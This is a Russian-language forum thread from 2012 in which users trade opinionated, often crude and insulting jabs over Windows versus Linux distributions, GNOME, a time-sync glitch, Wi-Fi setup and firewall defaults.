Критерии выбора этого сервера осью - тайна за семью печатями.

Ну уж и не совсем тайна. По крайней мере в консоль не надо лезть сейчас.

дык как быть с пропажей кнопок управления окном в гноме? Это тоже фича, а не баг?

Похоже, что в зоопарке это баг, плавно мутировавший в фичу. Они там совсем с катушек съехали с своими uniti, гномами, lxde, xfce. Колхоз, где никто никому ничего не должен, где альфа и беты версии обьявляются рабочими по утру с бодуна.


Название: Re: Она вышла...
Отправлено: ITM от 04-11-2012, 12:31:11
Ну без первоначальной настройки не работает ни одна система. Один раз настроить всё и на долго не пробовал?
есть бук древний, куплен в 2005 году, на нем XP oem, семь лет - полет нормальный ... что не так с ним ?


Название: Re: Она вышла...
Отправлено: mech от 04-11-2012, 12:31:24
Очень странно. Может не дожидаешься, пока таймаут отработается, в течении которого делается вывод

И как это до вас дошло, после вашего поста про синхронизацию времени в windows? И что более интересно без смехуёчков.


Название: Re: Она вышла...
Отправлено: Franco от 04-11-2012, 12:33:19
есть бук древний, куплен в 2005 году, на нем XP oem, семь лет - полет нормальный ... что не так с ним ?
Решительно все.
Купив это устройство ты проспонсировал войну в Ираке, жЫдо-масонский заговор против народа-богоносца и стал педорасом в плохом смысле этого слова.


Название: Re: Она вышла...
Отправлено: Paladin от 04-11-2012, 12:35:23
есть бук древний, куплен в 2005 году, на нем XP oem, семь лет - полет нормальный ... что не так с ним ?
у меня с 2006 или 07-го вроде ноут
та же херня
люди, простите меня


Название: Re: Она вышла...
Отправлено: ITM от 04-11-2012, 12:36:17
Решительно все.
Купив это устройство ты проспонсировал войну в Ираке, жЫдо-масонский заговор против народа-богоносца и стал педорасом в плохом смысле этого слова.
а еще у меня был нетбук, я с дуру на него Убунту поставил, терпел месяца два


Название: Re: Она вышла...
Отправлено: Paladin от 04-11-2012, 12:37:26
Ну без первоначальной настройки не работает ни одна система. Один раз настроить всё и на долго не пробовал?
купил себе неттоп с семерой
включил и он работает
настройка потребовалась только одна - пароль к ВиФи
потом купил такой же родителям, им не потребовалась даже эта настройка
у нх он один раз сглючил и самовосстановился, оповестив об этом
отвратительная и глючная система, ага


Название: Re: Она вышла...
Отправлено: ITM от 04-11-2012, 12:39:57
Моноблок Ленова, включил, работает ... сволочь.


Название: Re: Она вышла...
Отправлено: Paladin от 04-11-2012, 12:40:52
поставь СУСЕ линукс, сразу станет иначе


Название: Re: Она вышла...
Отправлено: ITM от 04-11-2012, 12:42:14
поставь СУСЕ линукс, сразу станет иначе
сусю сервер ?


Название: Re: Она вышла...
Отправлено: Franco от 04-11-2012, 12:42:33
Вообще, посмотрев на тот зоопарк, что сейчас на офисных рабочих местах, я произвел некую классификацию:
1. богатые и честные - покупают и ставят венду.
2. богатые и жадные - ставят ператскую венду, нарываются на проверку, получают штраф, покупают и ставят венду.
3. бедные и честные - ставят линукс, матерятся, но продолжают сидеть на нем.
4. бедные и жадные - ставят ператскую венду, получают штраф, но продолжают сидеть на ператской венде до следующего штрафа. Потом как правило, закрываются.


Название: Re: Она вышла...
Отправлено: ITM от 04-11-2012, 12:43:32
Вообще, посмотрев на тот зоопарк, что сейчас на офисных рабочих местах, я произвел некую классификацию:
1. богатые и честные - покупают и ставят венду.
2. богатые и жадные - ставят ператскую венду, нарываются на проверку, получают штраф, покупают и ставят венду.
3. бедные и честные - ставят линукс, матерятся, но продолжают сидеть на нем.
4. бедные и жадные - ставят ператскую венду, получают штраф, но продолжают сидеть на ператское венде до следующего штрафа. Потом как правило, закрываются.
100% !


Название: Re: Она вышла...
Отправлено: Paladin от 04-11-2012, 12:45:21
сусю сервер ?
зачем сервер?
просто сусю
могу диск подарить, мне с ноутом одним давали
система просто великолепна
рыдал и бился в истерике раз 5 за пеерустановку


Название: Re: Она вышла...
Отправлено: mech от 04-11-2012, 12:45:43
поставь СУСЕ линукс, сразу станет иначе

Да ладно, устанавливается эта суся без проблем. Правда, в том случае, если видюха не ATI.


Название: Re: Она вышла...
Отправлено: ITM от 04-11-2012, 12:46:34
Хммм... о чем оно хуже чем моя убунту ?


Название: Re: Она вышла...
Отправлено: Franco от 04-11-2012, 12:46:59
Да ладно, устанавливается эта суся без проблем. Правда, в том случае, если видюха не ATI.
Одним маленьким замечанием ты сейчас сократил пользователей этого дистрибутива на треть.


Название: Re: Она вышла...
Отправлено: mech от 04-11-2012, 12:51:23
Хммм... о чем оно хуже чем моя убунту ?

Не знаю чем хуже, все эти линуксы требуют допилки рашпилями.  Даже суся, с которой довольно плотно работает МС и которая позиционируется как корпоративная ось.


Название: Re: Она вышла...
Отправлено: ITM от 04-11-2012, 12:53:48
Не знаю чем хуже, все эти линуксы требуют допилки рашпилями.  Даже суся, с которой довольно плотно работает МС и которая позиционируется как корпоративная ось.
истина! и вот зачем мне дома это убожище ?


Название: Re: Она вышла...
Отправлено: mech от 04-11-2012, 12:57:30
Одним маленьким замечанием ты сейчас сократил пользователей этого дистрибутива на треть.

По правде говоря суся в этом плане ещё как то поцивильнее выглядит, чем остальные колхозы. По крайней мере там даже есть возможность загрузиться в "безопасном" режиме, не куря маны и гугля до посинения. И потом хоть и с траблами, но таки поставить заветный "поганый" проприентарный драйвер.


Название: Re: Она вышла...
Отправлено: Franco от 04-11-2012, 12:59:07
По правде говоря суся в этом плане ещё как то поцивильнее выглядит, чем остальные колхозы. По крайней мере там даже есть возможность загрузиться в "безопасном" режиме, не куря маны и гугля до посинения. И потом хоть и с траблами, но таки поставить заветный "поганый" проприентарный драйвер.
Вот оно мне надо?
У меня дома как раз таки радеон.
Я так хотел сусю поставить, а ты все опошлил.
И отвратил меня от истинной веры.

Уси-пуси, Линукс сусе
Джага-джага, виндовз - шняга.
(с) народное.


Название: Re: Она вышла...
Отправлено: ITM от 04-11-2012, 13:01:41
Тут на 1300 р. можно висту проапгрейдить на 8-ку, у меня на одном из старых буков ка раз она, надо будет 8 - ку на него прикупить


Название: Re: Она вышла...
Отправлено: mech от 04-11-2012, 13:02:35
истина! и вот зачем мне дома это убожище ?

Да дома то ещё фиг бы с ним. Хобби, художественная самодеятельность, всё такое в этом духе. А вот когда безумно тащат, такие внедрятели, эти убожества на работу вот это да. Кретинизм в высшем проявлении.


Название: Re: Она вышла...
Отправлено: ITM от 04-11-2012, 13:03:46
Да дома то ещё фиг бы с ним. Хобби, художественная самодеятельность, всё такое в этом духе. А вот когда безумно тащат, такие внедрятели, эти убожества на работу вот это да. Кретинизм в высшем проявлении.
на работу - это от того,что денег нет или жадны  


Название: Re: Она вышла...
Отправлено: Franco от 04-11-2012, 13:06:00
Да дома то ещё фиг бы с ним. Хобби, художественная самодеятельность, всё такое в этом духе. А вот когда безумно тащат, такие внедрятели, эти убожества на работу вот это да. Кретинизм в высшем проявлении.
См. приведенную выше классификацию.

Вообще, принципы Юника и Линукса такие:

Вы можете сконфигурировать ВСЕ!!! И вы будете, блять, конфигурировать ВСЕ!!!
(с) Башорг


Название: Re: Она вышла...
Отправлено: Diozan от 04-11-2012, 13:06:01
И как это до вас дошло, после вашего поста про синхронизацию времени в windows? И что более интересно без смехуёчков.

При синхронизации всё прошло как надо и было отрапортовано о том, что всё нормально. Но, при внешнем благополучии, время выставилось на месяц вперёд. Если же отрабатывает таймаут, время остаётся без изменения, по внутренним часам компьютера, и сообщается о невозможности синхронизации. А следующая синхронизация, по умолчательным Виндовым настройкам происходит только через неделю.

Поэтому невозможность синхронизации с выдачей сообщения об ошибке и нормальная синхронизация с отправкой пользователя в светлое коммунистическое будущее - это разные вещи, в том числе и по количеству вызываемого смеха.

Ну уж и не совсем тайна. По крайней мере в консоль не надо лезть сейчас.

Кстати, самое большое заблуждение, что сервер удобнее конфигурировать при помощи графических утилит, а не напрямую, прописывая нужные, и только нужные, параметры. Правда непосредственное конфигурирование требует определённого набора знаний. А все эти графические утилиты - это костыли и протезы для покрытия нехватки этих знаний.
Сравните продуманную конфигурацию, хотя бы Циски, сделанной через CLI с той же конфигурацией, сделанной через Cisco Assistant.

Похоже, что в зоопарке это баг, плавно мутировавший в фичу. Они там совсем с катушек съехали с своими uniti, гномами, lxde, xfce. Колхоз, где никто никому ничего не должен, где альфа и беты версии обьявляются рабочими по утру с бодуна.

Может быть что-то, действительно, не так. Зоопарк, действительно, солидный. Но данные проблемы обходятся путём использования тех версий Линукса, которые наиболее близки сущности этой системы. А каждая новая фирма, пытающаяся выродить свой дистрибутив, намеренно вносит туда свои фичи, которые могут очень плохо согласовываться с задумками тех, кто стоит у истоков того или иного ПО.
Здесь, действительно, прослеживается аналогия с религиозными войнами. Есть истинная вера, которую человек несёт в душе и молча следует ей, а есть религия, просто набор определённых догм, за отстаивание которых люди реально будут друг другу глотки резать и кровь пускать.
Насчёт "никто никому не должен", тоже не совсем верно. Подпишись на платную техподдержку, будут должны.

Как совет, попробуй установить Гном из первоисточника, скомпилировать его из исходников, например. Ибо правильно имел ввиду Мех (он же СОМ?). Примыкая к одному из дистрибутивов, отдаёшь все свои системы в его власть. А, вдруг, они, на самом деле, обовляют их с будуна?


Название: Re: Она вышла...
Отправлено: mech от 04-11-2012, 13:09:51
на работу - это от того,что денег нет или жадны  

Стало быть, там где работает Иван Моисеевич О'Брайен нищеброды и жадины?


Название: Re: Она вышла...
Отправлено: Diozan от 04-11-2012, 13:10:04
Здесь, действительно, прослеживается аналогия с религиозными войнами. Есть истинная вера, которую человек несёт в душе и молча следует ей, а есть религия, просто набор определённых догм, за отстаивание которых люди реально будут друг другу глотки резать и кровь пускать.
Кстати, пока я писал предыдущее сообщение, здесь разгорелась дискуссия, полностью подвеждающая мои слова. Суся, Убунту, Мандрива....... Так и будете вы блуждать в потёмках. В этом случае лучше ничего не менять и использовать православный Windows.


Название: Re: Она вышла...
Отправлено: mech от 04-11-2012, 13:15:23
Но, при внешнем благополучии, время выставилось на месяц вперёд.

1 декабря 2012 года? Вы вообще то хоть немного ориентируетесь во времени?

(http://www.kovrov33.ru/f2/index.php?action=dlattach;topic=295743.0;attach=60949;image)


Название: Re: Она вышла...
Отправлено: Diozan от 04-11-2012, 13:28:29
1 декабря 2012 года? Вы вообще то хоть немного ориентируетесь во времени?

(http://www.kovrov33.ru/f2/index.php?action=dlattach;topic=295743.0;attach=60949;image)

01.12.2012 - это не 1 декабря 2012 года? Во, блин, я лоханулся...


Название: Re: Она вышла...
Отправлено: mech от 04-11-2012, 13:28:47
Кстати, самое большое заблуждение, что сервер удобнее конфигурировать при помощи графических утилит, а не напрямую, прописывая нужные, и только нужные, параметры. Правда непосредственное конфигурирование требует определённого набора знаний. А все эти графические утилиты - это костыли и протезы для покрытия нехватки этих знаний.

Просто в зоопарке заготовок, вечных альф и бет, форков форкнутых форков нет возможности использовать одну конфигурацию. Каждый мудак считает за счастье для себя, любимого, изменить пару строчек в конфигах, после чего все остальные начинают мучиться, при этом этот же аффтар-мудак отсылает к манам и обвиняет остальных в криворучестве. На самом деле абсолютно пох, чем вносятся данные в конфигурацию, если софт прямой и разработчик просто вменяемый.


Название: Re: Она вышла...
Отправлено: Diozan от 04-11-2012, 13:38:04
Просто в зоопарке заготовок, вечных альф и бет, форков форкнутых форков нет возможности использовать одну конфигурацию. Каждый мудак считает за счастье для себя, любимого, изменить пару строчек в конфигах, после чего все остальные начинают мучиться, при этом этот же аффтар-мудак отсылает к манам и обвиняет остальных в криворучестве. На самом деле абсолютно пох, чем вносятся данные в конфигурацию, если софт прямой и разработчик просто вменяемый.

Иногда ещё изменения в исходники вносятся.
А насчёт бардака в конфигурациях - это верно. Каждый автор отражает в них своё видение мира. И большинство пользователей, как слепые котята следуют за ним и принимают его видение как непреложную истину. Раз автор так сделал, значит всё верно и нам менять ничего не надо? Ничего не напоминает такое поведение? Самый настоящий религиозный фанатизм. Но ни одна религия за тысячелетия своего существования не сумела доказать своей истинности.

Так, может, лучше будет обратиться к первоисточником и сформировать своё мнение? Для этого, правда, надо приложить некоторые усилия, чего делать так не хочется.


Название: Re: Она вышла...
Отправлено: mech от 04-11-2012, 13:42:44
01.12.2012 - это не 1 декабря 2012 года? Во, блин, я лоханулся...

Ну лоханулся я, не спорю, только вот я взял и проверил как сработает ваш смехуёчек, выставив время в BIOS 1.01.2012 года и отключив сеть. Все так могут сделать и всем понятно, кроме самых идиотов, что при невозможности связаться с сервером NTP система честно выставляет время из BIOS-а. В случае Диозана им же и выставленным скорее всего, свалив всё на винду зачем то.





Название: Re: Она вышла...
Отправлено: mech от 04-11-2012, 13:52:37
Иногда ещё изменения в исходники вносятся.
А насчёт бардака в конфигурациях - это верно. Каждый автор отражает в них своё видение мира. И большинство пользователей, как слепые котята следуют за ним и принимают его видение как непреложную истину. Раз автор так сделал, значит всё верно и нам менять ничего не надо? Ничего не напоминает такое поведение? Самый настоящий религиозный фанатизм. Но ни одна религия за тысячелетия своего существования не сумела доказать своей истинности.

Так, может, лучше будет обратиться к первоисточником и сформировать своё мнение? Для этого, правда, надо приложить некоторые усилия, чего делать так не хочется.

Поэтому очень многие и не парятся с колхозными сектами линуксоидов. Где сегодня одно, завтра другое, послезавтра вернулось на позавчера. Где нет цельности и одни фрагменты и форки форкнутых форков, не обязаных никому и ничем.


Название: Re: Она вышла...
Отправлено: Paladin от 04-11-2012, 14:04:16
что характерно
есть секта линуксоидов
есть секта яблочников
но нет секты виндузятников
как нет секты поклонников токарных станков, на них просто работают


Название: Re: Она вышла...
Отправлено: Diozan от 04-11-2012, 14:08:09
Ну лоханулся я, не спорю, только вот я взял и проверил как сработает ваш смехуёчек, выставив время в BIOS 1.01.2012 года. Все так могут сделать и всем понятно, кроме самых идиотов, что при невозможности связаться с сервером NTP система честно выставляет время из BIOS-а. В случае Диозана им же и выставленным скорее всего.

Опять неверно. Там, где у меня дата стоит 01.12.2012, у Вас надпись "Ошибка при выполнении синхронизации".  А 01.12.2012 у Вас стоит там, где указывается время следующей синхронизации. Я эту строчку, ужимая картинку, обрезал, там стояло 7 декабря...
А в Вашем случае программа нормально отработала, не смогла перевести время, о чём честно сообщила. А в моём откровенно глюканула. Причём не понятно где, на стороне сервера или клиента.


Название: Re: Она вышла...
Отправлено: Diozan от 04-11-2012, 14:13:20
что характерно
есть секта линуксоидов
есть секта яблочников
но нет секты виндузятников
как нет секты поклонников токарных станков, на них просто работают

Сект нет, там, где нет альтернатив. (Windows)
Секты есть там, где альтернатив полно, но народ не может (не умеет, ленится) с ними определиться, не может докопаться до первоисточников и ищет себе вождей, которые их определят. (Linux)
Секты есть там, где нет альтернатив, но присутствует фанатизм. (Apple)

Кстати, среди фанатов Линукса, с пеной у рта доказывающих преимущества того или иного дистрибутива, много ли вы видели сторонников Gentoo? Иногда они там появляются, но на них шикают. Ибо они не из этих сборищ.


Название: Re: Она вышла...
Отправлено: mech от 04-11-2012, 14:19:38
как нет секты поклонников токарных станков, на них просто работают

Надо отметить что и на станках я не видел сектанских недоосей. Win2000, WinCE, WinXP вполне себе живут и работают на станках и манипуляторах. Впрочем оно и понятно. Какой дурак будет связываться с теми, кто ничего и никому не обязан?


Название: Re: Она вышла...
Отправлено: dude от 04-11-2012, 14:25:14
Сект нет, там, где нет альтернатив. (Windows)
т.е.  Винде нет альтернативы?


Название: Re: Она вышла...
Отправлено: dude от 04-11-2012, 14:25:51
Надо отметить что и на станках я не видел сектанских недоосей. Win2000, WinCE, WinXP.
фрезеруй с iOS
со стразами
дорого


Название: Re: Она вышла...
Отправлено: Diozan от 04-11-2012, 14:26:45
т.е.  Винде нет альтернативы?
Нет.


Название: Re: Она вышла...
Отправлено: dude от 04-11-2012, 14:27:22
Нет.
и это прекрасно


Название: Re: Она вышла...
Отправлено: Diozan от 04-11-2012, 14:40:31
Надо отметить что и на станках я не видел сектанских недоосей. Win2000, WinCE, WinXP вполне себе живут и работают на станках и манипуляторах. Впрочем оно и понятно. Какой дурак будет связываться с теми, кто ничего и никому не обязан?
Цитировать
На каких типах операционных систем базируются современные ЧПУ?
    Среди наиболее известных операционных систем (ОС) для систем ЧПУ можно выделить: Windows NT4; RTMX (фирма RTMX-Uniflex); AMX (фирма Kadak Products Ltd.); OS-9000 (фирма Microwave Systems); OS-9; VxWorks; pSOS+; Lynx OS (фирма Lynx Real-Time Systems); VRTX (фирма Ready Systems); FlexOS (фирма Novell Dedicated Sys Bus Unit); QNX (фирма Quantum Software Systems), ОС собственной разработки различных компаний.


Название: Re: Она вышла...
Отправлено: mech от 04-11-2012, 14:49:34
Windows NT4; RTMX (фирма RTMX-Uniflex); AMX (фирма Kadak Products Ltd.); OS-9000 (фирма Microwave Systems); OS-9; VxWorks; pSOS+; Lynx OS (фирма Lynx Real-Time Systems); VRTX (фирма Ready Systems); FlexOS (фирма Novell Dedicated Sys Bus Unit); QNX (фирма Quantum Software Systems), ОС собственной разработки различных компаний.

Да ужас просто! Нет ни бзди, ни генту, ни простихоспадя убунты с сусей.


Название: Re: Она вышла...
Отправлено: Diozan от 04-11-2012, 15:05:10
Да ужас просто! Нет ни бзди, ни генту, ни простихоспадя убунты с сусей.
Да. Сплошь только  Win...


Название: Re: Она вышла...
Отправлено: Franco от 04-11-2012, 16:08:46
Стало быть, там где работает Иван Моисеевич О'Брайен нищеброды и жадины?
Типа того.
Хотя, в основном виндоненавистники.
патамушта постепенно идет перевод на макось.
надо уходить.
а то и меня обратят в яблочника, прости хоспади.


Название: Re: Она вышла...
Отправлено: ITM от 04-11-2012, 17:02:58
Давайте еще поговорим про промышленные мобильные терминалы .... все на WIN !


Название: Re: Она вышла...
Отправлено: mech от 04-11-2012, 17:47:38
Давайте еще поговорим про промышленные мобильные терминалы .... все на WIN !

Да вроде ещё на OS/2 бывают. На бзде, генту и простихоспадя убунту с сусей нет.


Название: Re: Она вышла...
Отправлено: mech от 04-11-2012, 17:50:27
Типа того.
Хотя, в основном виндоненавистники.
патамушта постепенно идет перевод на макось.
надо уходить.
а то и меня обратят в яблочника, прости хоспади.

А убунта то почему у вас на работе? Из за того, что Шатллмневрот онанирует на гейОС?


Название: Re: Она вышла...
Отправлено: ITM от 04-11-2012, 19:49:57
Да вроде ещё на OS/2 бывают. На бзде, генту и простихоспадя убунту с сусей нет.
нет, ша они все на винде, вот - вот .. а без них ни одного складу и вообще, мото там еще рулит, вот, а дизя идет с линуксом лесом, ибо день вчерашний


Название: Re: Она вышла...
Отправлено: Franco от 05-11-2012, 00:09:30
А убунта то почему у вас на работе? Из за того, что Шатллмневрот онанирует на гейОС?
Проверок бояццо, вот и ставят убунту.
А мне - развлекуха вместо работы.


Название: Re: Она вышла...
Отправлено: Diozan от 07-11-2012, 21:28:57
Проверок бояццо, вот и ставят убунту.
А мне - развлекуха вместо работы.
С Винды на Линукс - это как с телеги на Мерседес. Всё чудно, всё непонятно и не пойми как. А всякие сборщики, типа Суси-пуси Убунты, пытаются приделать в нём органы управления для извозчика. Вот только смотрятся вожжи, привязанные к рулю, странно.


Название: Re: Она вышла...
Отправлено: ITM от 07-11-2012, 21:30:49
С Винды на Линукс - это как с телеги на Мерседес. Всё чудно, всё непонятно и не пойми как. А всякие сборщики, типа Суси-пуси Убунты, пытаются приделать в нём органы управления для извозчика. Вот только смотрятся вожжи, привязанные к рулю, странно.
ыыыы линкус - мерседес ?


Название: Re: Она вышла...
Отправлено: Diozan от 07-11-2012, 21:34:30
ыыыы линкус - мерседес ?
А почему нет?


Название: Re: Она вышла...
Отправлено: Watchman от 07-11-2012, 21:40:36
Примерно потому же, почему ржавый таз на помойке не Майбах.


Название: Re: Она вышла...
Отправлено: Diozan от 07-11-2012, 21:48:02
Примерно потому же, почему ржавый таз на помойке не Майбах.

Ну это ты зря так. Загляни сюда.
 http://www.top500.org/
Там уж не дураки сидят по всему миру. И уж не с кривыми руками.


Название: Re: Она вышла...
Отправлено: Watchman от 07-11-2012, 21:56:51
Не зря.

Ржавый таз и есть. Некоторые его полируют постоянно до блеска, но он от этого не перестаёт быть тазом и не в какую не хочет становиться Мерседесом или  Майбахом.

Самому в ближайшее время придётся ставить на ноут, скорее всего Убунту. Думаю с содроганием. Успокаивает, что смогу поставить ВМ Винды поверх.


Название: Re: Она вышла...
Отправлено: Diozan от 07-11-2012, 22:04:18
Самому в ближайшее время придётся ставить на ноут, скорее всего Убунту. Думаю с содроганием. Успокаивает, что смогу поставить ВМ Винды поверх.

Мыши ели кактус, кололись, плакали и продолжали есть кактус....
А чего винду сразу не поставить? Без ВМ и Убунты?


Название: Re: Она вышла...
Отправлено: Watchman от 07-11-2012, 22:06:18
Производственная необходимость.


Название: Re: Она вышла...
Отправлено: Diozan от 07-11-2012, 22:07:48
Производственная необходимость.
Так поставь её на ВМ. Из-под винды.


Название: Re: Она вышла...
Отправлено: Watchman от 07-11-2012, 22:11:54
Зачем?

Диозан, вы же не знаете какие задачи ставятся, но даёте советы. Вы хотите выставить себя глупым человеком? Зачем вам это?


Название: Re: Она вышла...
Отправлено: Diozan от 07-11-2012, 23:25:56
Зачем?

Диозан, вы же не знаете какие задачи ставятся, но даёте советы.

Хотелось бы узнать. Для сбора статистики.

До некоторых времён считал, что Линукс является уделом некоторого, весьма небольшого количества внедренцев, которые хорошо в нём разобрались и внедряют исключительно по своей инициативе. А сейчас вижу, что его просто насаждать начали. Вот и интересует где и с какой целью?


Название: Re: Она вышла...
Отправлено: ITM от 07-11-2012, 23:49:17
А почему нет?
а убунта в твоей логике это телега получается ?


Название: Re: Она вышла...
Отправлено: ITM от 07-11-2012, 23:50:02
Хотелось бы узнать. Для сбора статистики.

До некоторых времён считал, что Линукс является уделом некоторого, весьма небольшого количества внедренцев, которые хорошо в нём разобрались и внедряют исключительно по своей инициативе. А сейчас вижу, что его просто насаждать начали. Вот и интересует где и с какой целью?
это все от нищебродства


Название: Re: Она вышла...
Отправлено: Diozan от 07-11-2012, 23:56:58
это все от нищебродства
А по делу?


Название: Re: Она вышла...
Отправлено: ITM от 08-11-2012, 00:02:31
А по делу?
а сам как бы не понимаешь ?


Название: Re: Она вышла...
Отправлено: Watchman от 08-11-2012, 01:10:10
Хотелось бы узнать. Для сбора статистики.

До некоторых времён считал, что Линукс является уделом некоторого, весьма небольшого количества внедренцев, которые хорошо в нём разобрались и внедряют исключительно по своей инициативе. А сейчас вижу, что его просто насаждать начали. Вот и интересует где и с какой целью?

Вы меня не правильно поняли. Ни какого насаждения нет, наоборот эта идея не вызывает ничего, кроме ощущения приближающегося гемороя у всех кто будет замешен в реализации. В том числе и у меня, как инициатора эксперимента.

Если коротко, то это связано с информационной безопасностью, Линукс в ней, лишь как прокладка для отвода глаз, вся основная деятельность будет вестись в Виндоус и приложениями от него, в Линукс будет использоваться минимум портируемых приложений, "на случай ядерной войны", вот этот участок и напрягает, ибо в приложениях есть те, которым нужен Вай-фай, а Убунта и Вай-фай пробуждают во мне грустные воспоминания. Да и вообще Линукс печален и тосклив, а звать ещё одного шамана который будет прыгать вокруг него с бубном в штат ради 5 ноутов никому не надо.


Название: Re: Она вышла...
Отправлено: Diozan от 08-11-2012, 08:51:43
а сам как бы не понимаешь ?

Покупателей суперкомпьютеров нищебродами не назовёшь. А это в 95% *nix. И стоят там системки по стоимости не уступающие системам от Майкрософт. А вот простаивание такого агрегата хотя бы в течении суток, обойдётся владельцу очень дорого. Может потому и не стоит там Майкрософт, что бы не нести лишних убытков?

Вы меня не правильно поняли. Ни какого насаждения нет, наоборот эта идея не вызывает ничего, кроме ощущения приближающегося гемороя у всех кто будет замешен в реализации. В том числе и у меня, как инициатора эксперимента.

Если коротко, то это связано с информационной безопасностью, Линукс в ней, лишь как прокладка для отвода глаз, вся основная деятельность будет вестись в Виндоус и приложениями от него, в Линукс будет использоваться минимум портируемых приложений, "на случай ядерной войны", вот этот участок и напрягает, ибо в приложениях есть те, которым нужен Вай-фай, а Убунта и Вай-фай пробуждают во мне грустные воспоминания. Да и вообще Линукс печален и тосклив, а звать ещё одного шамана который будет прыгать вокруг него с бубном в штат ради 5 ноутов никому не надо.

Это типичная исповедь человека, который взялся за дело, не изучив сущности вопроса. Какие проблемы у Линукса с вай-фаем? Ни разу никаких не наблюдал, кроме отсутствия драйверов на совсем уж экзотические чипы. То, что его использование требует настройки? Так это опять проблема человека, не вникшего в сущность проблемы. Да, там не происходит всё, как в Винде. Но и Винда, кроме уровня доверия сети (домашняя или корпоративная) никаких опций настройки, при обнаружении сети, не предлагает. В то время, как детальная настройка вай-фая - это управление, как минимум, несколькими десятками опций и манипуляция, примерно десятком команд, такими как ifconfig, iwconfig, iwlist, wpa_supplicant, etc... Именно владение этими темами позволяет настроить, любую подсистему так, как это надо вам, а не так, как это хотелось бы другим. А все графические утилиты, позволяющие свести весь процесс настройки (не только wi-fi) к двум кликам мышкой - это костыли и протезы для немощных. С таким подходом к теме, подымать вопрос рационального использования Линукса даже не стоит. Ибо, действительно, "кроме ощущения приближающегося гемороя у всех кто будет замешен в реализации" ничего получить будет нельзя.

Какое, нахрен, администрирование Линукса, может проводить так называемый "Администратор", который размер шрифтов в приложении не может выставить и закрепить их в качестве умолчательных? Что бы грамотно скомпилировать ядро, нужно, как минимум, разбираться в архитектуре процессоров администрируемых систем, знать перечень всего аппаратного обеспечения серверов на уровне чипов и используемых микропрограмм для их управления, всех используемых системных фич.

Так что выступая в качестве "инициатора эксперимента", правомерно ставить вопрос, а за своё дело ли Вы взялись? Какими процедурами, кроме использования готовых сборок ядра, подготовленных неизвестно кем, и набора примитивных графических костылей утилит, Вы овладели?

Понятно, что для уборщицы, которая всю жизнь подметала полы веничком, собирая мусор в совочек, современный пылесос или полотер станет источником головной боли и "ощущения приближающегося гемороя". А сам агрегат, кроме бестолковости, громоздкости и неудобством управления, никаких других ощущений вызывать не будет. Ведь ей так хорошо было... веничком и совочком.


Название: Re: Она вышла...
Отправлено: Paladin от 08-11-2012, 08:59:45
ужас, что у тебя в башке понамешано


Название: Re: Она вышла...
Отправлено: ITM от 08-11-2012, 09:33:17
Дизя, а ты видел лично сам, хоть раз в жизни ЦОД, который по всем правилам создан  ?


Название: Re: Она вышла...
Отправлено: WolF от 08-11-2012, 09:37:09
Покупателей суперкомпьютеров нищебродами не назовёшь. А это в 95% *nix. И стоят там системки по стоимости не уступающие системам от Майкрософт. А вот простаивание такого агрегата хотя бы в течении суток, обойдётся владельцу очень дорого. Может потому и не стоит там Майкрософт, что бы не нести лишних убытков?

Линукс (и FreeBSD) - это НЕ UNIX! То что в них схожие системные вызовы и команды не даёт нам право их отождествлять. На суперкомпах действительно используют различные UNIX. Коммерческие системы с соответствующим уровнем разработки и поддержки. Сравнивать коммерческий UNIX (Solaris хотя бы) и Linux - это всё равно что сравнивать мерседес с каким нить китайским Chery или BYD.


Название: Re: Она вышла...
Отправлено: mech от 08-11-2012, 12:13:33
Это типичная исповедь человека, который взялся за дело, не изучив сущности вопроса. Какие проблемы у Линукса с вай-фаем? Ни разу никаких не наблюдал, кроме отсутствия драйверов на совсем уж экзотические чипы. То, что его использование требует настройки? Так это опять проблема человека, не вникшего в сущность проблемы. Да, там не происходит всё, как в Винде. Но и Винда, кроме уровня доверия сети (домашняя или корпоративная) никаких опций настройки, при обнаружении сети, не предлагает. В то время, как детальная настройка вай-фая - это управление, как минимум, несколькими десятками опций и манипуляция, примерно десятком команд, такими как ifconfig, iwconfig, iwlist, wpa_supplicant, etc...

Мда...Это какие же настройки сетевой безопасности у той же убунты? Вы хоть в своём уме? У неё даже файрволл не включен по дефолту. В плане безопасности линукс ровно такой же, что и windows для обыкновенного пользователя. И для продвинутого всё абсолютно так же.


Название: Re: Она вышла...
Отправлено: Diozan от 08-11-2012, 13:13:30
Линукс (и FreeBSD) - это НЕ UNIX! То что в них схожие системные вызовы и команды не даёт нам право их отождествлять. На суперкомпах действительно используют различные UNIX. Коммерческие системы с соответствующим уровнем разработки и поддержки. Сравнивать коммерческий UNIX (Solaris хотя бы) и Linux - это всё равно что сравнивать мерседес с каким нить китайским Chery или BYD.

Именно Линукс, а не коммерческий Юникс лидирует. В какой реализации, уж уточнять не будем. Суперкомпьютеры вообще вещь уникальная, не серийная, поэтому и сборка Линукса там может быть тоже своя.


Название: Re: Она вышла...
Отправлено: Diozan от 08-11-2012, 13:21:57
Мда...Это какие же настройки сетевой безопасности у той же убунты? Вы хоть в своём уме? У неё даже файрволл не включен по дефолту. В плане безопасности линукс ровно такой же, что и windows для обыкновенного пользователя. И для продвинутого всё абсолютно так же.

Опять образ мысли пользователя Винды. Перед включением, файрволл настраивать надо под свои задачи. И только после этого включать. Иначе без настройки, без созданных правил, он полностью перекроет доступ в сеть, ну или полностью откроет, в зависимости от политики по умолчанию.

Веришь ли, даже в Gentoo и FreeBSD он не включён по умолчанию, более того, даже не установлен.

У Винды файрволл вообще не фильтрует исходящие запросы и, поэтому, его можно включить сразу же, дыра наружу распахнута, и пользователь, естественно, этим удовлетворён, и понятия не имеет, что ещё что-то надо настроить. А если какая-то программа попытается открыть порт на прослушку входящего соединения, так система вопрос пользователю выдаст - разрешить? Что ответит рядовой пользователь в 99,9% случаев?


Название: Re: Она вышла...
Отправлено: Watchman от 08-11-2012, 14:01:48
Это типичная исповедь человека, который взялся за дело, не изучив сущности вопроса.

Про какой вопрос речь? Вы же даже не понимаете о чём разговор, но уже делаете выводы. Это показывает уровень вашего интеллекта.
Цитировать
Какие проблемы у Линукса с вай-фаем?

Большие. На мой ноутбук искали драйвера двумя управлениями, плюс друзья. Не нашли.
А там сидели люди явно разбирающиеся в Линуксе лучше чем вы, судя по написанному.
Судя по всемы вы - адепт Линукса, а не специалист. Специалист - он смотрит со всех сторон, видет плюсы и минусы. Вы же видете только плюсы, а когда заходит речь про минусы - закрываете глаза и уши и говорите бе-бе-бе.

Цитировать
